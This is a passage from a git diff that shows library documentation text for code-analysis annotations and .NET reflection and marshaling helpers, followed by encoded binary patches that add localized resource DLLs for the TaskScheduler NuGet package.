becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..22d8ef06901bdc4329b55e8cc5354545486917f5 GIT binary patch literal 9728 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 x!mp{c)4e;KZE literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..3bd2e54ff43501b0b550438d2b4e5f136acfa9fd GIT binary patch literal 10240 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 